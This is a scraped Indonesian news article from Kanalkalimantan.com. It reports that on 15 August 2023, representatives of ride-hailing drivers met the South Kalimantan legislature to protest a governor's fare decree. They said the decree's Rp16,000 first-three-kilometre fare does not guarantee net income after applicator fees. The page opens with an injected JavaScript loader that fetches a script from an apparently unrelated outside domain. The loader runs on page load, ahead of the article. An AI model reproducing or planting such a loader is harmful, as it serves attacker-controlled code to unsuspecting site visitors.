(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN- Sedikitnya 15 perwakilan dari ratusan driver ojek online (Ojol) dipanggil ke dalam kantor DPRD Kalimantan Selatan, Selasa (15/8/2023) siang.
Usai melakukan orasi di halaman kantor DPRD Kalsel mereka disambut oleh Sekretaris Komisi III DPRD Kalsel H Gusti Abidinsyah SSos.
Wakil rakyat ini meminta agar massa dapat menyuarakan aspirasi dengan lebih baik dan terstuktur.
“Kami dari DPRD sebelumnya sudah pernah menerima, cuma memang perlu ada hal yang kita luruskan lagi, kita coba akan lebih intensif lagi kami minta perwakilan untuk datang langsung ke kita mencoba untuk menyelesaikannya hari ini juga,” kata Abidinsyah.
Baca juga: BREAKING NEWS! Protes SK Gubernur, Ratusan Driver Online Serbu DPRD Kalsel
Sementara itu Joni Raflianoor, perwakilan Driver Online Kalsel Bersatu (DOKB) menyebutkan dalam isi tuntutan mereka, SK tersebut sudah dikeluarkan, tapi setelah dipelajari SK tersebut masih jauh dari harapan.
Adapun hasil angka tarif yang berada di angka Rp16.000 pihaknya mengatakan tidak menyebutkan secara detail bahwa itu adalah pendapatan yang bersih diterima.
“SK tersebut tidak sesuai dengan kemauan kawan-kawan yaitu penepatan tarif Rp16.000 itu untuk tiga kilometer pertama, tidak dikatakan pendapatan bersih dalam SK tersebut,” ucap Joni Raflianoor mewakili driver lainnya, Selasa (15/8/2023) siang.
Baca juga: Mako Induk Rampung, Gedung Auditorium Polda Kalsel Menyusul Dibangun
Dalam SK tersebut juga menetapkan tarif batas atas dan tarif batas bawah angkutan sewa khusus di Provinsi Kalsel senilai Rp3.900 dan Rp6.500 per kilometer.
Masalah ini membuat adanya celah hukum bagi aplikator driver online, dimana angka pendapatan itu dapat potongan sebesar 20 persen dari aplikator.
Menurut wakil driver Ojol ini, pemerintah dalam merumuskan SK tersebut belum memahami adanya komposisi fee aplikasi dan biaya aplikasi.
Sementara itu di dalam ruangan, nampak berhadir perwakilan Dinas Perhubungan Kota Banjarmasin dan Dinas Komunikasi dan Informatika Kota Banjarmasin.
Baca juga: Warga Padati Stan Kuliner Gratis Hari Jadi Ke-73 Kalsel
Mereka menegaskan bahwa Dinas Perhubungan dapat segera merevisi SK tersebut dalam tenggat waktu hingga 1 September 2023.
“Kami ingin pendaatan bersih bukan hanya perkara menerima tuntutan namun juga memberikan keputusan hari ini juga,” tandasnya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru merampungkan pengadaan logistik untuk Pemilhan Kepala… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima orang aktivis penyeru hak demokrasi mendatangi kantor Komisi Pemilihan Umum (KPU)… Read More
Dahtiar: Yang Dihitung Suara Sah Saja Nanti, Karena Bukan Mekanisme Kotak Kosong Read More
KANALKALIMANTAN.COM, MARTAPURA - Sekretaris Bappedalitbang Kabupaten Banjar, Hanafi, membuka rapat dengan agenda Pembahasan Proses Bisnis… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dikira tertidur, seorang lelaki pengayuh becak ditemukan meninggal dunia di Jalan A… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) Serentak 2024 sudah di depan mata. Masyarakat Indonesia… Read More
This website uses cookies.